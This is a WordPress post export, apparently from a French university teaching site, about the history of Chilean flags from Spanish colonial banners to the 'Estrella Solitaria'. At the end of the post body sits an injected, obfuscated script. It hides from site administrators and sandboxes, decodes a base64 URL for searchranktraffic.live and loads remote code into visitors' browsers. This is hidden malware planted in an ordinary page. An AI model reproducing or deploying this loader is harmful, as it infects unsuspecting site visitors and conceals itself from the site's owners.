{"id":127,"date":"2025-05-16T17:23:25","date_gmt":"2025-05-16T15:23:25","guid":{"rendered":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/?p=127"},"modified":"2026-05-07T11:59:02","modified_gmt":"2026-05-07T09:59:02","slug":"le-chili","status":"publish","type":"post","link":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/?p=127","title":{"rendered":"Le Chili"},"content":{"rendered":"<h2 class=\"wp-block-heading\">Pr\u00e9-ind\u00e9pendance<\/h2><ul class=\"wp-block-list\"><li><strong>Drapeaux espagnols (jusqu\u2019en 1812)<\/strong><br>Les troupes coloniales utilisaient principalement la Croix de Bourgogne (sautoir rouge sur fond blanc), puis, \u00e0 partir de 1785, le pavillon bourbon \u00e0 trois bandes horizontales rouge\u2013jaune\u2013rouge avec les armoiries royales.<\/li><\/ul><figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"687\" src=\"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ESP-1-1024x687.png\" alt=\"\" class=\"wp-image-130\" srcset=\"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ESP-1-1024x687.png 1024w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ESP-1-300x201.png 300w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ESP-1-768x516.png 768w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ESP-1-1536x1031.png 1536w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ESP-1-600x403.png 600w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ESP-1.png 1594w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><h2 class=\"wp-block-heading\">Drapeau de la Patria Vieja (1812\u20131814)<\/h2><figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"687\" src=\"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Rev-1024x687.png\" alt=\"\" class=\"wp-image-131\" srcset=\"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Rev-1024x687.png 1024w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Rev-300x201.png 300w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Rev-768x516.png 768w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Rev-1536x1031.png 1536w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Rev-600x403.png 600w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Rev.png 1594w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><ul class=\"wp-block-list\"><li><strong>Adoption et description<\/strong><br>Le 4\u202fjuillet\u202f1812, Jos\u00e9 Miguel Carrera fit hisser le premier drapeau chilien, brod\u00e9 par sa s\u0153ur Javiera\u202f: un tricolore horizontal bleu\u2013blanc\u2013jaune.<\/li>\n\n<li><strong>Symbolique des couleurs<\/strong><ul class=\"wp-block-list\"><li>Bleu\u202f: le ciel ou la majest\u00e9 du pouvoir populaire<\/li>\n\n<li>Blanc\u202f: la loi ou la neige andine<\/li>\n\n<li>Jaune\u202f: la force ou les moissons de bl\u00e9.<\/li><\/ul><\/li>\n\n<li><strong>Variantes<\/strong><br>Certaines versions inversaient les bandes (blanc\u2013bleu\u2013jaune), int\u00e9graient les armoiries en centre, ou pla\u00e7aient en canton la Croix de Santiago apr\u00e8s la bataille d\u2019El\u202fRoble (1813).<\/li><\/ul><h2 class=\"wp-block-heading\">Reconquista (1814\u20131817)<\/h2><p>Apr\u00e8s la d\u00e9faite de Rancagua (1\u20132\u202foctobre\u202f1814) et jusqu\u2019\u00e0 la victoire de Chacabuco (12\u202ff\u00e9vrier\u202f1817), le drapeau espagnol fut de nouveau impos\u00e9, et les tentatives patriotes pour porter le tricolore furent br\u00e8ves et sporadiques.<\/p><h2 class=\"wp-block-heading\">Drapeau de la Transition (26\u202fmai\u202f1817\u202f\u2013\u202f18\u202foctobre\u202f1817)<\/h2><figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"687\" src=\"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Tran-1-1024x687.png\" alt=\"\" class=\"wp-image-134\" srcset=\"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Tran-1-1024x687.png 1024w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Tran-1-300x201.png 300w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Tran-1-768x516.png 768w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Tran-1-1536x1031.png 1536w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Tran-1-600x403.png 600w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/Tran-1.png 1594w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><ul class=\"wp-block-list\"><li><strong>Contexte<\/strong><br>Suite \u00e0 la victoire de Chacabuco, on entre en p\u00e9riode de <em>Patria Nueva<\/em> et l\u2019on adopte le 26\u202fmai 1817 un drapeau de transition trois bandes \u00e9gales\u202f: bleu en haut, blanc au centre, rouge en bas.<\/li>\n\n<li><strong>Origine et symbolique<\/strong><br>Inspir\u00e9 par les couleurs attribu\u00e9es aux Mapuches dans <em>La\u202fAraucana<\/em>, le rouge remplace ici le jaune pour \u00e9voquer le sang vers\u00e9 durant la lutte d\u2019ind\u00e9pendance.<\/li>\n\n<li><strong>Abandon<\/strong><br>Non officialis\u00e9, il fut jug\u00e9 trop semblable aux drapeaux fran\u00e7ais et n\u00e9erlandais et disparu au profit du mod\u00e8le d\u00e9finitif.<\/li><\/ul><h2 class=\"wp-block-heading\">Drapeau de la \u201cEstrella Solitaria\u201d (depuis 18\u202foctobre\u202f1817)<\/h2><figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"687\" src=\"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ACTU-1024x687.png\" alt=\"\" class=\"wp-image-135\" srcset=\"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ACTU-1024x687.png 1024w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ACTU-300x201.png 300w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ACTU-768x516.png 768w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ACTU-1536x1031.png 1536w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ACTU-600x403.png 600w, https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/wp-content\/uploads\/2025\/05\/ACTU.png 1594w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><ul class=\"wp-block-list\"><li><strong>Adoption et dessinateurs<\/strong><br>Par d\u00e9cret du 18\u202foctobre\u202f1817, sous l\u2019impulsion de Bernardo\u202fO\u2019Higgins et attribu\u00e9 \u00e0 Jos\u00e9\u202fIgnacio\u202fZenteno (ou Gregorio de\u202fAnd\u00eda y\u202fVarela), ce drapeau se compose\u202f:<ol class=\"wp-block-list\"><li>D\u2019une bande sup\u00e9rieure blanche<\/li>\n\n<li>D\u2019une bande inf\u00e9rieure rouge<\/li>\n\n<li>D\u2019un canton carr\u00e9 bleu dans la partie haute pr\u00e8s de la hampe, orn\u00e9 d\u2019une \u00e9toile blanche \u00e0 cinq branches.<\/li><\/ol><\/li>\n\n<li><strong>Signification des \u00e9l\u00e9ments<\/strong><br>-\u202f\u00c9toile\u202f: V\u00e9nus, guide et symbole d\u2019\u00c9tat ind\u00e9pendant (inspir\u00e9e de la <em>gu\u00f1elve<\/em> mapuche)<br>-\u202fBleu\u202f: ciel et Oc\u00e9an Pacifique<br>-\u202fBlanc\u202f: neige des Andes<br>-\u202fRouge\u202f: sang des martyrs de l\u2019ind\u00e9pendance.<\/li>\n\n<li><strong>\u00c9volutions formelles<\/strong><br>-\u202f1818\u20131912\u202f: \u00e9toile inclin\u00e9e vers la hampe et pr\u00e9sence d\u2019un asterisque \u00e0 huit branches, forme inspir\u00e9e du gu\u00f1elve<br>-\u202f1854\u202f: canton rendu parfaitement carr\u00e9, ratio hampe\/longueur fix\u00e9 \u00e0 2:3 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Flag_of_Chile\" target=\"_blank\" rel=\"noreferrer noopener\">Wikip\u00e9dia<\/a><br>-\u202f1912\u202f: diam\u00e8tre de l\u2019\u00e9toile standardis\u00e9, sch\u00e9ma d\u00e9coulant de la loi sur les embl\u00e8mes nationaux<br>-\u202f1967\u202f: d\u00e9cret 1534 fixe d\u00e9finitivement proportions, couleurs et usages officiels (presidentiel, cocarde)<\/li><\/ul><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new 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Drapeau de la Transition (26\u202fmai\u202f1817\u202f\u2013\u202f18\u202foctobre\u202f1817) Drapeau de la \u201cEstrella Solitaria\u201d (depuis 18\u202foctobre\u202f1817)<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[],"class_list":["post-127","post","type-post","status-publish","format-standard","hentry","category-ameriques"],"_links":{"self":[{"href":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/127","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=127"}],"version-history":[{"count":4,"href":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/127\/revisions"}],"predecessor-version":[{"id":350,"href":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/127\/revisions\/350"}],"wp:attachment":[{"href":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/webpedago.u-bourgogne.fr\/~kdroal\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}